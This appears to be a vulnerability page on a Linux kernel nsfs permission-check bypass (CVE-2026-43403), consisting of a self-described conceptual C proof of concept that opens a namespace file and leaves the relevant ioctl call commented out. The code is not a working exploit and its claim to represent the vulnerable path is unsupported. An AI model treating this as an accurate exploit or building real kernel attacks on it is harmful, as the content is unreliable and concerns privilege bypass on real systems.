CVE-2026-43403 Linux内核nsfs权限检查绕过漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/nsfs.h> // Conceptual Proof of Concept for CVE-2026-43403 // This code attempts to iterate namespaces using ioctls. // On a vulnerable system, this may reveal namespaces of other privileged services. int main() { int fd = -1; // Attempting to open a namespace file (e.g., init process ns) // In a real exploit, specific paths to nsfs would be targeted. fd = open("/proc/self/ns/net", O_RDONLY); if (fd < 0) { perror("open"); return 1; } // The vulnerability involves the permission checks during iteration ioctls. // While specific ioctl numbers depend on kernel headers, the logic below // represents the interaction that triggers the vulnerable path. printf("Attempting to interact with nsfs ioctls...\n"); // Pseudo-code representing the iteration logic that lacks strict checks // struct ns_ioctl_args args; // if (ioctl(fd, NS_GET_OWNER_UID, &args) < 0) { // perror("ioctl"); // } close(fd); printf("PoC execution finished.\n"); return 0; }